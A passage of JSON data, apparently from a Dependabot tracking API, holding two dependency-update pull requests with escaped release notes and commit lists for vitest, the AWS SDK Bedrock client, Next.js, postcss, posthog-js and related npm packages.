test API and options  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eCodex\u003c/strong\u003e and \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10196\"\u003evitest-dev/vitest#10196\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/2847dfa2a\"\u003e\u003c!-- raw HTML omitted --\u003e(2847d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Simplify orchestrator otel carrier  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10285\"\u003evitest-dev/vitest#10285\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/18af98cee\"\u003e\u003c!-- raw HTML omitted --\u003e(18af9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🏎 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStringify diff objects only once  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10276\"\u003evitest-dev/vitest#10276\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9f7b1528c\"\u003e\u003c!-- raw HTML omitted --\u003e(9f7b1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.5...v4.1.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e61f2dd2a0ba0a266c1c5e0334aad3799fee527f\"\u003e\u003ccode\u003ee61f2dd\u003c/code\u003e\u003c/a\u003e chore: release v4.1.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e4067b3b150005fd42cf75f994300119245806b9\"\u003e\u003ccode\u003ee4067b3\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a09d47236e19fd3151351080c667036ca6164dc4\"\u003e\u003ccode\u003ea09d472\u003c/code\u003e\u003c/a\u003e chore: release v4.1.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8fd24c1cad2320b19fcc651413c7d928423bdc1\"\u003e\u003ccode\u003ea8fd24c\u003c/code\u003e\u003c/a\u003e chore: release v4.1.6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-bedrock` from 3.1029.0 to 3.1086.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-bedrock's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1086.0\u003c/h2\u003e\n\u003ch4\u003e3.1086.0(2026-07-13)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-13 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/22a3bc515d256663596f02b273aaf38b6bf91830\"\u003e22a3bc51\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  GuardDuty AI Protection is now publicly available. Findings include Bedrock guardrail details, model details, observation numbers, and continuous scan details. GuardrailArn and GuardrailVersion are deprecated in favor of the guardrails list. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7456befb0b4c391b0038961f290afa9b8a1cc609\"\u003e7456befb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-gamelift:\u003c/strong\u003e  Amazon GameLift Servers now includes fleet expiration for managed fleets. A managed fleet expires one year after creation, transitioning to EXPIRED status, emitting a FLEET EXPIRED event, and scaling to zero instances. Expired fleets cannot host new game sessions or increase capacity. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ca1487cad489ca2e88496be68c6357faf74bf492\"\u003eca1487ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-redshift-serverless:\u003c/strong\u003e  Add support for preserving datasharing, zero-ETL and S3 event integrations on snapshot restore to serverless namespace. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0ed5e330fc88ba16a49ac673962622e8373f85b4\"\u003e0ed5e330\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-elasticsearch-service:\u003c/strong\u003e  Adds support for the EngineMode and UseCase parameters on Amazon Elasticsearch Service domains, enabling GENERAL or OPTIMIZED engine modes and SEARCH, VECTOR, OBSERVABILITY, or MIXED usecases when creating and updating domain configurations. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f8248f273eafd3d38a85b00a910e8361b88f4234\"\u003ef8248f27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Add Java 8, 11 and 17 on AL2023 (java8.al2023, java11.al2023, java17.al2023) support to AWS Lambda. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b9cd8db4e16718877328cdde9a8478ffecaee714\"\u003eb9cd8db4\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecredential-providers:\u003c/strong\u003e  memoization in fromNodeProviderChain (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8185\"\u003e#8185\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f878badeb9c7c9484b6ce9dea3af36edd72ff13\"\u003e1f878bad\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1086.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1085.0\u003c/h2\u003e\n\u003ch4\u003e3.1085.0(2026-07-10)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclients:\u003c/strong\u003e  update client endpoints as of 2026-07-10 (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/dffbeab020cb30acaf3e126b70df855fbd644b38\"\u003edffbeab0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-quicksight:\u003c/strong\u003e  Provides CreateKnowledgeBase and UpdateKnowledgeBase APIs (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/42de55235e68fccff5f36ba5dddd4f6026b9c4f4\"\u003e42de5523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-inspector2:\u003c/strong\u003e  Support for 3 day and 7 day ECR re-scan durations (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4b0b5c86d1c0c228751d3ad42287c96599982eab\"\u003e4b0b5c86\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-lambda:\u003c/strong\u003e  Added TelemetryConfig support for Managed Instances Capacity Provider, enabling customers to configure system log level and custom log group for managed instance logging. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6338813981e21da09c2afff2774453bfeed8b0de\"\u003e63388139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-sagemaker:\u003c/strong\u003e  Release support for g4d, c6g, c7g, c8g instance types for SageMaker HyperPod (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/800976de4cc075bdd3f835982236e646e2871566\"\u003e800976de\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  New Amazon EC2 instances. M9g, M9gd, C9g, and C9gd on AWS Graviton5. C8in, M8in, and R8in add 600 Gbps network. C8ib, M8ib, and R8ib add 300 Gbps EBS. C8ine, M8ine, M8idn, R8idn, M8idb, and R8idb round out Intel Xeon 6. Mac-m3ultra with Apple M3 Ultra. G7 with NVIDIA RTX PRO 4500 Blackwell GPUs. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35aaf38707d66fa250c40fbef879fb9254a38cab\"\u003e35aaf387\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-license-manager:\u003c/strong\u003e  Added the ResetUsage field to the CreateLicenseVersion API. When set to true, the entitlement usage counts for the license are reset to 0. If it is false or not specified, entitlement usage is left unchanged. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/52f1c9c03192532f8d7fd99fbd9a3a1a567df6ad\"\u003e52f1c9c0\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch:\u003c/strong\u003e  CloudWatch now assigns a unique identifier to each anomaly detector. PutAnomalyDetector and DescribeAnomalyDetectors return this AnomalyDetectorId, which you can use to describe or delete a specific anomaly detector directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/36fc0ee52f520bcd30676ec8954140309719677f\"\u003e36fc0ee5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eFor list of updated packages, view \u003cstrong\u003eupdated-packages.md\u003c/strong\u003e in \u003cstrong\u003eassets-3.1085.0.zip\u003c/strong\u003e\u003c/p\u003e\n\u003ch2\u003ev3.1084.0\u003c/h2\u003e\n\u003ch4\u003e3.1084.0(2026-07-09)\u003c/h4\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect - Added DeleteContactData API to support PII deletion of customer endpoint, additional email recipients and email subject. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/87f4ae0edee3b09fccf660a9ec06f3819c0de033\"\u003e87f4ae0e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding \u0026quot;AI Analyst\u0026quot; enum value for detector (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/20518a4ffa622068a3452405a2d56565a5076ed3\"\u003e20518a4f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-synthetics:\u003c/strong\u003e  CloudWatch Synthetics adds support for customer managed KMS keys for canary environment variables. Customers can now encrypt their canary's Lambda function environment variables at rest using their own AWS KMS key, providing additional control over data protection. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/c7379151145d04c34200a72783f0439873519b6d\"\u003ec7379151\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ec2:\u003c/strong\u003e  Added support for additional override parameters in CreateFleet, including LaunchTemplateSpecificationUserData, KeyName, IamInstanceProfile, and MetadataOptions. The CreateFleet response now also includes SubnetId, AvailabilityZone, and AvailabilityZoneId for launched instances. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/6fcc95d184daf8db8b4ab131932b86d011628deb\"\u003e6fcc95d1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ivs:\u003c/strong\u003e  adds support for AWS IVS ad configuration APIs to allow for a postRollConfiguration object on the ad configuration resource (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7dd93c48dbdb50fe7039cbb94071c73249bc6419\"\u003e7dd93c48\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-bedrock/CHANGELOG.md\"\u003e@​aws-sdk/client-bedrock's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1085.0...v3.1086.0\"\u003e3.1086.0\u003c/a\u003e (2026-07-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-bedrock\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1084.0...v3.1085.0\"\u003e3.1085.0\u003c/a\u003e (2026-07-10)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-bedrock\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.108...\n\n_Description has been truncated_","html_url":"https://github.com/Sivakrishnapemmasani/accomplish/pull/11","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sivakrishnapemmasani%2Faccomplish/issues/11","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11/packages"},{"uuid":"4884031678","node_id":"PR_kwDOCkcSrM7xl5_n","number":1287,"state":"open","title":"chore(deps): bump the dependencies group across 1 directory with 8 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T14:25:08.000Z","updated_at":"2026-07-14T14:29:36.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"dependencies","update_count":8,"packages":[{"name":"next","old_version":"16.2.9","new_version":"16.2.10","repository_url":"https://github.com/vercel/next.js"},{"name":"postcss","old_version":"8.5.17","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"posthog-js","old_version":"1.399.2","new_version":"1.399.5","repository_url":"https://github.com/PostHog/posthog-js"},{"name":"react-email","old_version":"6.7.0","new_version":"6.8.1","repository_url":"https://github.com/resend/react-email"},{"name":"@typescript-eslint/eslint-plugin","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"@typescript-eslint/parser","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"tsx","old_version":"4.23.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"typescript-eslint","old_version":"8.63.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"[//]: # (dependabot-start)\n⚠️  **Dependabot is rebasing this PR** ⚠️ \n\nRebasing might not happen immediately, so don't worry if this takes some time.\n\nNote: if you make any changes to this PR yourself, they will take precedence over the rebase.\n\n---\n\n[//]: # (dependabot-end)\n\nBumps the dependencies group with 8 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [next](https://github.com/vercel/next.js) | `16.2.9` | `16.2.10` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.17` | `8.5.19` |\n| [posthog-js](https://github.com/PostHog/posthog-js) | `1.399.2` | `1.399.5` |\n| [react-email](https://github.com/resend/react-email/tree/HEAD/packages/react-email) | `6.7.0` | `6.8.1` |\n| [@typescript-eslint/eslint-plugin](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin) | `8.63.0` | `8.64.0` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.63.0` | `8.64.0` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.0` | `4.23.1` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.63.0` | `8.64.0` |\n\n\nUpdates `next` from 16.2.9 to 16.2.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vercel/next.js/releases\"\u003enext's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.2.10\u003c/h2\u003e\n\u003cp\u003eContains no changes except publishing \u003ccode\u003e@next/swc-wasm-web\u003c/code\u003e which was accidentally not published since 16.2.4.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/9dadfd693c5d26bb3c85d1c17802f49dde244b3e\"\u003e\u003ccode\u003e9dadfd6\u003c/code\u003e\u003c/a\u003e v16.2.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/534d9c144ca342ff9ee5569241a814539d6eadb9\"\u003e\u003ccode\u003e534d9c1\u003c/code\u003e\u003c/a\u003e [16.2.x] Release pipeline updates (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/95160\"\u003e#95160\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/98941fc427213b0b2770ac40e24a1855ea0ae349\"\u003e\u003ccode\u003e98941fc\u003c/code\u003e\u003c/a\u003e backport: docs fixes 16.2.x (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94935\"\u003e#94935\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vercel/next.js/commit/6e1a94de7c4e68892de4b1e28262be5970358458\"\u003e\u003ccode\u003e6e1a94d\u003c/code\u003e\u003c/a\u003e [16.2.x][ci]: fix release script to not strip newlines (\u003ca href=\"https://redirect.github.com/vercel/next.js/issues/94640\"\u003e#94640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vercel/next.js/compare/v16.2.9...v16.2.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.17 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/9543b22769bef5bcd47600fbca752204c106cda8\"\u003e\u003ccode\u003e9543b22\u003c/code\u003e\u003c/a\u003e Release 8.5.19 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3d13bf9360652922de0535f6257e1648187363f0\"\u003e\u003ccode\u003e3d13bf9\u003c/code\u003e\u003c/a\u003e Fix CI on Windows too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/00d0dd2322162f6083d507ea6954685e1c92f165\"\u003e\u003ccode\u003e00d0dd2\u003c/code\u003e\u003c/a\u003e Keep explicitly set raws.before when inserting nodes into root (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2111\"\u003e#2111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a05b33e7a15d6f80d90098784170ad3dca39180\"\u003e\u003ccode\u003e7a05b33\u003c/code\u003e\u003c/a\u003e Temporary fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.17...8.5.19\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `posthog-js` from 1.399.2 to 1.399.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PostHog/posthog-js/releases\"\u003eposthog-js's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eposthog-js@1.399.5\u003c/h2\u003e\n\u003ch2\u003e1.399.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4134\"\u003e#4134\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/ab100642da425590b9dcb78a9e8573eeeb29f52a\"\u003e\u003ccode\u003eab10064\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/posthog\"\u003e\u003ccode\u003e@​posthog\u003c/code\u003e\u003c/a\u003e! - Bound autocapture's DOM ancestor walks against abnormal host-page DOM trees. \u003ccode\u003eautocapturePropertiesForElement\u003c/code\u003e and \u003ccode\u003eshouldCaptureElement\u003c/code\u003e now stop climbing the \u003ccode\u003eparentNode\u003c/code\u003e chain after 1000 ancestors or if they revisit a node (only possible when a page patches \u003ccode\u003eparentNode\u003c/code\u003e, since native DOMs cannot contain cycles), instead of walking indefinitely. When \u003ccode\u003eshouldCaptureElement\u003c/code\u003e cannot finish checking ancestors for \u003ccode\u003eph-no-capture\u003c/code\u003e/\u003ccode\u003eph-sensitive\u003c/code\u003e, it fails closed and reports the element as not capturable. Behavior on normal DOM trees is unchanged.\n(2026-07-14)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4141\"\u003e#4141\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/17d956c6639e83396aa19a5974d7550b46928c68\"\u003e\u003ccode\u003e17d956c\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/apps/posthog\"\u003e\u003ccode\u003e@​posthog\u003c/code\u003e\u003c/a\u003e! - Log network-level fetch failures from posthog-js's own request layer (ad blocker, dropped connection, CORS, page teardown) at \u003ccode\u003ewarn\u003c/code\u003e instead of \u003ccode\u003eerror\u003c/code\u003e. The browser rejects these with a generic \u003ccode\u003eTypeError\u003c/code\u003e (\u003ccode\u003eFailed to fetch\u003c/code\u003e, Firefox's \u003ccode\u003eNetworkError...\u003c/code\u003e, or Safari's \u003ccode\u003eLoad failed\u003c/code\u003e); they are already caught and retried by the request queue, so they are expected noise rather than SDK errors — \u003ccode\u003e_fetch\u003c/code\u003e now gives them the same \u003ccode\u003ewarn\u003c/code\u003e treatment as our own timeout aborts. Genuine, unexpected errors still log at \u003ccode\u003eerror\u003c/code\u003e.\n(2026-07-14)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eposthog-js@1.399.4\u003c/h2\u003e\n\u003ch2\u003e1.399.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4139\"\u003e#4139\u003c/a\u003e \u003ca 